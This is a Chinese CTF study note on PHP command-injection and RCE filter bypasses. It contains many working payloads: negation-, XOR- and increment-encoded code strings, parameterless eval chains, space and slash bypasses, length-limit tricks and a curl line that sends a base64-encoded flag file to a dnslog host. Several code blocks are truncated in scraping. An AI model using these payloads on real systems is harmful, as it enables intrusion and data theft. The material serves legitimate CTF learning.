安全声明:本文仅用于 CTF 学习与授权环境复现。
RCE
命令执行(执行系统命令)
| 函数 | 作用 | 是否直接把命令输出打印到页面? | 返回值是什么? |
|---|---|---|---|
system() |
执行系统命令 | ✅ 会把命令执行过程的输出打印出来 | 返回命令输出的最后一行(字符串) |
passthru() |
执行命令并“原样”输出(适合二进制流) | ✅ 直接输出所有原始内容 | 一般返回 null |
exec() |
执行命令 | ❌ 默认不输出 | 返回最后一行文本,可选把每一行放到数组 |
shell_exec() |
通过 shell 执行命令 | ❌ 不直接输出 | 返回完整输出字符串 |
反引号 ... |
和 shell_exec() 类似 |
❌ 不直接输出 | 返回命令输出(字符串) |
popen() |
打开一个进程的管道(读 / 写) | ❌ 本身不输出 | 返回资源句柄,自己读写 |
proc_open() |
更高级的进程控制,多路管道 | ❌ 本身不输出 | 返回进程资源,还可拿到各个管道句柄 |
总结:直接把结果“打印出来”的主要是
system()和passthru(),其它大部分都是“返回字符串/资源”,需要自己echo/var_dump才看得到。
直接回显的(命令执行时就打印到页面):
system()、passthru()
只返回结果,不主动回显的:
exec()、shell_exec()、反引号、popen()、proc_open()(这些要你自己把结果 echo 出来)
1 | string exec(string $command, array &$output = null, int &$return_var = null) |
1 | popen(string $command, string $mode) |
绕过
过滤字符
1 | (1)使用通配符绕过 |
过滤函数
1 | cat |
过滤了/
绕过方法:
1.利用cd指令切目录
1 | payload:cd ..&&ls,cd ..&&cd ..&&cd ..&&ls |
2.通过dirname在当前目录一个个消除路径,直到最终到达根目录
1 | payload=ls${IFS}-a${IFS}$(dirname${IFS}$(dirname${IFS}$(dirname${IFS}$PWD))) |
过滤空格
1 | 使用< 、<>、%20(space)、%09(tab)、$IFS$9、 ${IFS}、$IFS等代替空格 |
变量拼接绕过正则
1 | 以flag为例: |
Linux 变量操作符${}
1 | ${PATH:start:length} |
替换字符
单替换
1
2 ${file/a/b}
将字符串中第一个a替换为b
全替换
1
2 ${file//a/b}
将字符串所有的a替换为b
执行命令
1
2
3 ${PATH:14:1}${PATH:5:1} flag.txt
在此环境中相当于 nl flag.txt
Ascll拼接变形
1 | <?php |
转ascll脚本
1 | <?php |
按位取反(~) + 十六进制转义(\x)试一下
1 | <?php |
无回显
if
1 | import requests |
tee
[SWPUCTF 2021 新生赛]finalrce (NSSCTF)

因为没有回显,所以需要把查看出来的内容读取并且写入一个地方来查看,tee命令就是从标准输入读取,再写入标准输出和文件。简单说就是把查看的内容读取然后写入到后面的txt文件
>”\“-转义符我理解的作用就是在一些控制字符被过滤的时候,可以用转义符,让控制符失去原本的含义,变为字面量,但是作用不变。
/?url=l\s / |tee 1.txt,然后访问1.txt看到flag文件
/?url=tac /flllll\aaaaaaggggggg |tee 2.txt,访问2.txt就看到flag了
dnslog外带数据法
1 | curl dnslog平台url/`cat flag.php|base64` |
无字母数字RCE
取反
[SWPUCTF 2021 新生赛]hardrce (NSSCTF)
不能使用字母和黑名单的特殊字符,但是有eval,满足条件即可执行
绕过方法:对需要使用的函数进行取反,然后再进行URL 编码
- 注意:在使用取反编码再取反进行绕过时,想要执行我们指定的代码,传入的payload必须要满足 (函数名)() 这样的形式,否则在取反之前PHP解释器并不知道是要执行一个函数,取反之后就算是一个函数也不会被当作代码执行
执行system(‘ls /‘),取反?wllm=(%8C%86%8C%8B%9A%92)(%93%8C%DF%D0);找到flllllaaaaaaggggggg的文件
执行system(“cat /flllllaaaaaaggggggg”);取反后?wllm=(%8C%86%8C%8B%9A%92)(%9C%9E%8B%DF%D0%99%93%93%93%93%93%9E%9E%9E%9E%9E%9E%98%98%98%98%98%98%98);即可得到flag
脚本
1 | <?php |

异或
1 | <?php |
首先将 A 和 ? 分别转换为对应的ASCII码,A变为65,?变为63 然后将其转换为对应的二进制数,A变为1000001,?变为111111 接下来就进行运算,异或的运算规则是相同为0,不同为1
1 | A: 1000001 |
接下来将其二进制转换为对应十进制数,1111110对应的十进制数为126,根据ASCII码表可知126对应的是~
payload
1 | $__=("#"^"|"); // _ |
然后进行一次URL编码,因为中间件会解码一次
1 | 然后让&_=system和&__=ls即可 |
或者脚本直接出
1 | import re |

自增
直接拼接个空
1 | <?php |
然后我们获取想获取A的话,就可以采用$_[0]这种方式来获取,但我们是不能够写数字的,所以我们这里可以用一个判断,比如我们在[]里加一个==$,此时因为空和$不同,它就会输出0,此时也就等同于$_[0],具体实现代码如下
1 | <?php |
或者
构造$_GET[1]($_GET[0]),这个时候我们就可以system(ls)这种命令的执行
1 | <?php |
接下来就可以尝试去给_和__GET传参,这里我们需要把换行的都去掉,然后进行一次URL编码,因为中间件会解码一次,所以我们构造的payload先变成这样
1 | $_=[].'';$_=$_[''=='$'];$_++;$_++;$_++;$_++;$__=$_;$_++;$_++;$___=$_;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_++;$_=$___.$__.$_;$_='_'.$_;$$_[_]($$_[__]); |
而后变成
1 | %24_%3D%5B%5D.''%3B%24_%3D%24_%5B''%3D%3D'%24'%5D%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24__%3D%24_%3B%24_%2B%2B%3B%24_%2B%2B%3B%24___%3D%24_%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%2B%2B%3B%24_%3D%24___.%24__.%24_%3B%24_%3D'_'.%24_%3B%24%24_%5B_%5D(%24%24_%5B__%5D)%3B |
无参RCE
题目特征
1 | if(';' === preg_replace('/[^\W]+\((?R)?\)/', '', $_GET['star'])) { eval($_GET['star']); } |
原理解释
- 它使用正则表达式
/[^\W]+\((?R)?\)/来匹配并替换掉$_GET['star']中的某些部分 - 如果替换后的结果严格等于
;,则执行eval($_GET['star']) - 这实际上是一个无参数RCE的场景,因为正则表达式限制了函数调用必须不包含参数
正则表达式解释:
[^\W]+:匹配一个或多个字母、数字或下划线(即函数名)\(和\):匹配左右括号(?R)?:这是递归匹配,允许嵌套的函数调用,例如a(b())这样的形式- 整个正则表达式会匹配类似
function()或function(anotherFunction())这样的模式,但不允许function('parameter')这样的带参数的调用
所以,这个过滤机制允许的输入形式是:
function()function(anotherFunction())function1(function2(function3()))
而禁止的形式是:
function('text')function(123)function($variable)
无参数RCE的核心是:如何在不使用任何字面量参数(如字符串、数字)的情况下,通过函数之间的嵌套调用来构造攻击载荷,最终实现远程代码执行或文件读取。
相关函数简要介绍:
1 | scandir() :将返回当前目录中的所有文件和目录的列表。返回的结果是一个数组,其中包含当前目录下的所有文件和目录名称(glob()可替换) |
数组移动
1 | end() : 将内部指针指向数组中的最后一个元素,并输出 |
scandir()文件读取函数
[GXYCTF 2019]禁止套娃
源码
1 | 1 <?php |
1 | print_r(scandir(current(localeconv()))); |

1 | ?exp=highlight_file(next(array_reverse(scandir(current(localeconv()))))); |
通过读取倒数第二个得到flag
或者
array_rand(): 从数组中取出一个或者多个单元,并且返回随机条目的一个或者多个键。
array_flip():读取当前目录的键和值进行交换,如果失败返回 NULL。array_flip()和array_rand()配合使用可随机返回当前目录下的文件名。因为其中的键可以利用随机数函数array_rand(),进行随机生成。
payload:(多发几次,随机返回当前目录下的文件内容,会返回flag的)
1 | ?var=show_source(array_rand(array_flip(scandir(getcwd())))); |
session_id()
使用条件:当请求头中有cookie时(或者走投无路手动添加cookie头也行,有些CTF题不会卡)
首先我们需要开启session_start()来保证session_id()的使用,session_id可以用来获取当前会话ID,也就是说它可以抓取PHPSESSID后面的东西,但是phpsession不允许()出现
源码
1 | <?php |
payload:
1 | ?参数=session_start();system(hex2bin(session_id())); |
getallheaders()
getallheaders()返回当前请求的所有请求头信息,局限于Apache(apache_request_headers()和getallheaders()功能相似,可互相替代,不过也是局限于Apache)
当确定能够返回时,我们就能在数据包最后一行加上一个请求头,写入恶意代码,再用end()函数指向最后一个请求头,使其执行,payload:
var_dump(end(getallheaders()));
get_defined_vars()
特点:比getallheaders()更具普遍性,可获取所有全局变量。
工作原理:
- 返回包含所有全局变量的数组,顺序为:
$_GET→$_POST→$_COOKIE→$_FILES - 通过操作这些变量,可以实现无参数RCE
利用步骤:
- 首先确认回显:
print_r(get_defined_vars()) - 添加额外参数传递恶意代码:
1 | a=eval(end(current(get_defined_vars())));&b=system('ls /'); |
- 也可将eval替换为assert,同样能执行命令
长度限制
7

5


4



:linux中的 > 符号和 >> 符号
1.通过>来创建文件
1 | >test.txt |
2.通过>将命令执行的结果存入文件中
1 | echo "hello world">test |
但是通过>来将命令执行结果写入文件会覆盖掉文件原本的内容,如果我们想要在原本文件内容后面追加内容就要使用>>
1 | echo "aaa">test |
linux中命令换行
在linux中,当我们执行文件中的命令的时候,我们通过在没有写完的命令后面加 “",可以将一条命令写在多行
比如我们有一个test文件内容如下:
1 | ec\ |
然后我们用sh命令来执行一下:
1 | sh test |
成功输出了 hello world!
ls -t命令
在linux中,我们使用ls -t命令后,可以将文件名按照时间顺序排列出来(后创建的排在前面)
1 | touch a |
结果c b a
利用ls -t 和 > 以及换行符 绕过长度限制执行命令
我们先看执行如下命令的结果:
1 | ls -t>test |
ls -t 命令列出文件名,然后每个文件名按行储存,如果我们将我们要执行的命令拆分为多个文件名,然后再结合命令换行,然后通过 ls -t > test这样的方式再写入某个文件来运行不就可以绕过命令长度限制了吗,而且从上面我们可以看出,ls -t>test的执行顺序是先创建文件test,然后执行ls -t,然后将执行结果写入test文件
我们可以做如下小实验:
比如我们要执行 echo hello world
1 | > "rld" |
最终成功的输出了 “hello world
软连接
1 | # 1. 创建指向网站根目录的软链接 |